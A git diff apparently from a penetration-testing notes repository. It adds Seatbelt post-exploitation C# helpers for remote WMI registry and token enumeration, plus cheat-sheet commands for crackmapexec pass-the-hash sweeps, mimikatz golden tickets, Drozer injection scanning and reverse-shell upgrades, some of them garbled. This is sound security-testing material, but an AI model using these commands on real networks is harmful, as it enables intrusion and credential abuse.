GetQwordValue(RegistryHive hive, string path, string value, ManagementClass wmiRegProv) + { + // WMI flavor + try + { + var inParams = wmiRegProv.GetMethodParameters("GetQWORDValue"); + inParams["hDefKey"] = (UInt32)hive; + inParams["sSubKeyName"] = path; + inParams["sValueName"] = value; + var outParams = wmiRegProv.InvokeMethod("GetQWORDValue", inParams, null); + return outParams.GetPropertyValue("uValue") == null ? null : (long?)outParams.GetPropertyValue("uValue"); + } + catch + { + return null; + } + } + + + public static byte[]? GetBinaryValue(RegistryHive hive, string path, string value, RegistryHiveType view = RegistryHiveType.X64) + { + var regValue = GetValue(hive, path, value, view); + + return (byte[]?)regValue?.Value; + } + + public static byte[]? GetBinaryValue(RegistryHive hive, string path, string value, ManagementClass wmiRegProv) + { + // WMI flavor + try + { + var inParams = wmiRegProv.GetMethodParameters("GetBinaryValue"); + inParams["hDefKey"] = (UInt32)hive; + inParams["sSubKeyName"] = path; + inParams["sValueName"] = value; + var outParams = wmiRegProv.InvokeMethod("GetBinaryValue", inParams, null); + return outParams.GetPropertyValue("uValue") == null ? null : (byte[])outParams.GetPropertyValue("uValue"); + } + catch + { + return null; + } + } + + + public static Dictionary GetValues(RegistryHive hive, string path, string computer = "") + { + // returns all registry values under the specified path in the specified hive (HKLM/HKCU) + RegistryKey? rootHive = null; + RegistryKey? key = null; + + try + { + rootHive = RegistryKey.OpenRemoteBaseKey(hive, computer); + key = rootHive.OpenSubKey(path, false) ?? throw new Exception("Key doesn't exist"); + + var valueNames = key.GetValueNames(); + var keyValuePairs = valueNames.ToDictionary(name => name, key.GetValue); + return keyValuePairs; + } + catch + { + return new Dictionary(); + } + finally + { + key?.Close(); + rootHive?.Close(); + } + } + + public static Dictionary GetValues(RegistryHive hive, string path, ManagementClass wmiRegProv) + { + // returns all registry values under the specified path in the specified hive (HKLM/HKCU) + // WMI flavor + + var results = new Dictionary(); + try + { + var inParams = wmiRegProv.GetMethodParameters("EnumValues"); + inParams["hDefKey"] = (UInt32)hive; + inParams["sSubKeyName"] = path; + var outParams = wmiRegProv.InvokeMethod("EnumValues", inParams, null); + + var valueNames = (string[])outParams.GetPropertyValue("sNames"); + var valueTypes = (int[])outParams.GetPropertyValue("Types"); + + for (var i = 0; i < valueNames.Length; ++i) + { + object? value = null; + switch (valueTypes[i]) + { + case 1: + { + // String + value = GetStringValue(hive, $"{path}", $"{valueNames[i]}", wmiRegProv); + break; + } + case 2: + { + // ExpandedStringValue + value = GetExpandedStringValue(hive, $"{path}", $"{valueNames[i]}", wmiRegProv); + break; + } + case 3: + { + // Binary + value = GetBinaryValue(hive, $"{path}", $"{valueNames[i]}", wmiRegProv); + break; + } + case 4: + { + // DWORD + value = GetDwordValue(hive, $"{path}", $"{valueNames[i]}", wmiRegProv); + break; + } + case 7: + { + // MultiString + value = GetMultiStringValue(hive, $"{path}", $"{valueNames[i]}", wmiRegProv); + break; + } + case 11: + { + // QWORD + value = GetQwordValue(hive, $"{path}", $"{valueNames[i]}", wmiRegProv); + break; + } + default: + throw new Exception($"Unhandled WMI registry value type: {valueTypes[i]}"); + } + + if (value != null) + results.Add($"{valueNames[i]}", value); + } + } + catch + { + // ignored + } + + return results; + } + + public static string[]? GetSubkeyNames(RegistryHive hive, string path, string computer = "") + { + // returns an array of the subkeys names under the specified path in the specified hive (HKLM/HKCU/HKU) + RegistryKey? rootHive = null; + RegistryKey? key = null; + try + { + rootHive = RegistryKey.OpenRemoteBaseKey(hive, computer); + key = rootHive.OpenSubKey(path, false); + return key?.GetSubKeyNames(); + } + catch + { + return null; + } + finally + { + key?.Close(); + rootHive?.Close(); + } + } + + public static string[]? GetSubkeyNames(RegistryHive hive, string path, ManagementClass wmiRegProv) + { + // returns an array of the subkeys names under the specified path in the specified hive (HKLM/HKCU/HKU) + // WMI flavor + try + { + var inParams = wmiRegProv.GetMethodParameters("EnumKey"); + inParams["hDefKey"] = (UInt32)hive; + inParams["sSubKeyName"] = path; + var outParams = wmiRegProv.InvokeMethod("EnumKey", inParams, null); + return outParams.GetPropertyValue("sNames") == null ? new string[] { } : (string[])outParams.GetPropertyValue("sNames"); + } + catch + { + return null; + } + } + + public static string[] GetUserSIDs(ManagementClass wmiRegProv) + { + return GetSubkeyNames(RegistryHive.Users, "", wmiRegProv) ?? new string[]{}; + } + + public static string[] GetUserSIDs() + { + return Registry.Users.GetSubKeyNames() ?? new string[] {}; + } + + public static RegistryHive GetHive(string name) + { + switch (name.ToUpper()) + { + case "HKCR": + case "HKEY_CLASSES_ROOT": + return RegistryHive.ClassesRoot; + + case "HKEY_CURRENT_CONFIG": + return RegistryHive.CurrentConfig; + + case "HKCU": + case "HKEY_CURRENT_USER": + return RegistryHive.CurrentUser; + + case "HKLM": + case "HKEY_LOCAL_MACHINE": + return RegistryHive.LocalMachine; + + case "HKEY_PERFORMANCE_DATA": + return RegistryHive.PerformanceData; + + case "HKU": + case "HKEY_USERS": + return RegistryHive.Users; + + default: + throw new Exception("UnknownRegistryHive"); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Util/SecurityUtil.cs b/post_exploitation/Seatbelt/Seatbelt/Util/SecurityUtil.cs new file mode 100644 index 0000000..5d30c63 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Util/SecurityUtil.cs @@ -0,0 +1,137 @@ +using System; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.AccessControl; +using System.Security.Principal; +using static Seatbelt.Interop.Secur32; +using static Seatbelt.Interop.Advapi32; +using static Seatbelt.Interop.Kernel32; +using System.Diagnostics; + +namespace Seatbelt.Util +{ + internal static class SecurityUtil + { + public static bool IsHighIntegrity() + { + // returns true if the current process is running with adminstrative privs in a high integrity context + var identity = WindowsIdentity.GetCurrent(); + var principal = new WindowsPrincipal(identity); + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + + public static string[] GetTokenGroupSids() + { + // Returns all SIDs that the current user is a part of, whether they are disabled or not. + // slightly adapted from https://stackoverflow.com/questions/2146153/how-to-get-the-logon-sid-in-c-sharp/2146418#2146418 + + var TokenInfLength = 0; + + // first call gets length of TokenInformation + var Result = GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenGroups, IntPtr.Zero, TokenInfLength, out TokenInfLength); + var TokenInformation = Marshal.AllocHGlobal(TokenInfLength); + Result = GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenGroups, TokenInformation, TokenInfLength, out TokenInfLength); + + if (!Result) + { + Marshal.FreeHGlobal(TokenInformation); + throw new Exception("Unable to get token info."); + } + + var groups = (TOKEN_GROUPS)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_GROUPS)); + var userSIDS = new string[groups.GroupCount]; + var sidAndAttrSize = Marshal.SizeOf(new SID_AND_ATTRIBUTES()); + for (var i = 0; i < groups.GroupCount; i++) + { + var sidAndAttributes = (SID_AND_ATTRIBUTES)Marshal.PtrToStructure( + new IntPtr(TokenInformation.ToInt64() + i * sidAndAttrSize + IntPtr.Size), typeof(SID_AND_ATTRIBUTES)); + + ConvertSidToStringSid(sidAndAttributes.Sid, out var sid); + userSIDS[i] = sid; + } + + Marshal.FreeHGlobal(TokenInformation); + return userSIDS; + } + + public static bool IsLocalAdmin() + { + // checks if the "S-1-5-32-544" in the current token groups set, meaning the user is a local administrator + return GetTokenGroupSids().Contains("S-1-5-32-544"); + } + + [Flags] + public enum GenericAceMask : uint + { + FileReadData = 0x00000001, + FileWriteData = 0x00000002, + FileAppendData = 0x00000004, + FileReadEA = 0x00000008, + FileWriteEA = 0x00000010, + FileExecute = 0x00000020, + FileDeleteChild = 0x00000040, + FileReadAttributes = 0x00000080, + FileWriteAttributes = 0x00000100, + + Delete = 0x00010000, + ReadControl = 0x00020000, + WriteDac = 0x00040000, + WriteOwner = 0x00080000, + Synchronize = 0x00100000, + + AccessSystemSecurity = 0x01000000, + MaximumAllowed = 0x02000000, + + GenericAll = 0x10000000, + GenericExecute = 0x20000000, + GenericWrite = 0x40000000, + GenericRead = 0x80000000 + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_INFOS + { + public string Owner; + public RawSecurityDescriptor SecurityDescriptor; + public string SDDL; + } + + public static SECURITY_INFOS GetSecurityInfos(string ObjectName, SE_OBJECT_TYPE ObjectType) + { + var pSidOwner = IntPtr.Zero; + var pSidGroup = IntPtr.Zero; + var pDacl = IntPtr.Zero; + var pSacl = IntPtr.Zero; + var pSecurityDescriptor = IntPtr.Zero; + var info = SecurityInfos.DiscretionaryAcl | SecurityInfos.Owner; + + var infos = new SECURITY_INFOS(); + + // get the security infos + var errorReturn = GetNamedSecurityInfo(ObjectName, ObjectType, info, out pSidOwner, out pSidGroup, out pDacl, out pSacl, out pSecurityDescriptor); + if (errorReturn != 0) + { + return infos; + } + + if (ConvertSecurityDescriptorToStringSecurityDescriptor(pSecurityDescriptor, 1, SecurityInfos.DiscretionaryAcl | SecurityInfos.Owner, out var pSddlString, out _)) + { + infos.SDDL = Marshal.PtrToStringUni(pSddlString) ?? string.Empty; + } + var ownerSid = new SecurityIdentifier(pSidOwner); + infos.Owner = ownerSid.Value; + + if (pSddlString != IntPtr.Zero) + { + Marshal.FreeHGlobal(pSddlString); + } + + if (pSecurityDescriptor != IntPtr.Zero) + { + Marshal.FreeHGlobal(pSecurityDescriptor); + } + + return infos; + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Util/WMIUtil.cs b/post_exploitation/Seatbelt/Seatbelt/Util/WMIUtil.cs new file mode 100644 index 0000000..366d552 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Util/WMIUtil.cs @@ -0,0 +1,52 @@ +using System; +using System.Management; + +namespace Seatbelt.Util +{ + + public class WMIUtil { + + public static ManagementClass WMIRegConnection() + { + return WMIRegConnection(""); + } + + public static ManagementClass WMIRegConnection(string computerName) + { + return WMIRegConnection(computerName, "", ""); + } + + public static ManagementClass WMIRegConnection(string computerName, string userName, string password) + { + ManagementScope scope; + ConnectionOptions connection = new ConnectionOptions(); + connection.Impersonation = ImpersonationLevel.Impersonate; + + if (!String.IsNullOrEmpty(userName)) + { + try + { + if (userName.Contains("\\")) + { + string[] parts = userName.Split('\\'); + connection.Username = parts[1]; + connection.Authority = $"NTLMDOMAIN:{parts[0]}"; + } + else + { + connection.Username = userName; + } + connection.Password = password; + } + catch + { + // ? + } + } + + scope = new ManagementScope($"\\\\{computerName}\\root\\default", connection); + scope.Connect(); + return new ManagementClass(scope, new ManagementPath("StdRegProv"), null); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/app.config b/post_exploitation/Seatbelt/Seatbelt/app.config new file mode 100644 index 0000000..cf7e7ab --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/app.config @@ -0,0 +1,3 @@ + + + diff --git a/crackmapexec.md b/post_exploitation/docs/crackmapexec.md similarity index 70% rename from crackmapexec.md rename to post_exploitation/docs/crackmapexec.md index 5bb433b..f33ab36 100644 --- a/crackmapexec.md +++ b/post_exploitation/docs/crackmapexec.md @@ -8,3 +8,9 @@ cme smb domain.name -u s -p /usr/share/seclists/Passwords/Leaked-Database ```sh psexec.py domain.name/:@ ``` + +## SMB +* Check user hash on the network via smb +```sh + crackmapexec smb 10.200.x.0/24 -u -d -H +``` diff --git a/post_exploitation/docs/mimikatz.md b/post_exploitation/docs/mimikatz.md index c86b23e..f8f86dd 100644 --- a/post_exploitation/docs/mimikatz.md +++ b/post_exploitation/docs/mimikatz.md @@ -27,3 +27,10 @@ $ kerberos::golden /user: /domain: /sid: ` as a decompiler +* dex2jar to convert apk to jar +```sh +d2j-dex2jar.sh /path/application.apk +``` +* Dex to smali with `d2j-dex2smali` +* jd-gui as decompiler +* `apktool` smali source from apk + +* [Firebase scanner](https://github.com/shivsahni/FireBaseScanner.git) +* [Mara reversing framework](https://github.com/xtiankisutsa/MARA_Framework.git) +* [Mobile Security Framework](https://github.com/MobSF/Mobile-Security-Framework-MobSF.git) +* Proguard deobfuscates code +* [PID Cat log reader](https://github.com/JakeWharton/pidcat.git) +* Burpsuite listener on Android emulator +* [Drozer](https://github.com/FSecureLABS/drozer) +```sh +adb forward tcp:31415 tcp:31415 +drozer console connect +run app.package.list -> see all the packages installed +run app.package.info -a -> view package information. +run app.package.attacksurface package_name +run app.activity.info -f package_name +run app.activity.start --component package name component_name +``` +```sh +run app.provider.info -a package_name +run scanner.provider.finduris -a package_name +run app.provider.query uri +run app.provider.update uri --selection conditions selection_arg column data +run scanner.provider.sqltables -a package_name +run scanner.provider.injection -a package_name +run scanner.provider.traversal -a package_name +``` + diff --git a/reverse_shells/docs/shell_upgrade.md b/reverse_shells/docs/shell_upgrade.md index f41aff4..0352057 100644 --- a/reverse_shells/docs/shell_upgrade.md +++ b/reverse_shells/docs/shell_upgrade.md @@ -37,7 +37,8 @@ perl -e 'exec "/bin/sh";' 1. `ctrl` + `z` 2. `stty echo -raw` 3. `fg` -4. `export TERM=xterm` +4. `export SHELL=bash` +5. `export TERM=xterm` ## Via SSH * `ssh-keygen` diff --git a/reverse_shells/php-reverse-shell b/reverse_shells/php-reverse-shell new file mode 160000 index 0000000..0483a9b --- /dev/null +++ b/reverse_shells/php-reverse-shell @@ -0,0 +1 @@ +Subproject commit 0483a9bd75d10502d4c91b5402eeb758c9d8e96d diff --git a/stego/docs/remnux.md b/stego/docs/remnux.md index 434dff2..454db33 100644 --- a/stego/docs/remnux.md +++ b/stego/docs/remnux.md @@ -22,23 +22,3 @@ vmonkey * [PEiD](https://www.aldeid.com/wiki/PEiD) detects most packers. * File [Entropy](https://fsec404.github.io/blog/Shanon-entropy/) of a packaged is high. -### Volatility -* [Cheat sheet](https://downloads.volatilityfoundation.org/releases/2.4/CheatSheet_v2.4.pdf) -* Basic Info, find OS profile -```sh -volatility -f imageinfo -volatility -f kdbgscan -``` -* Process list -```sh -volatility -f --profile pslist -``` -* List dlls -```sh -volatility -f --profile dlllist -p -``` -* Last accessed dir -```sh -volatility -f --profile shellbags -``` -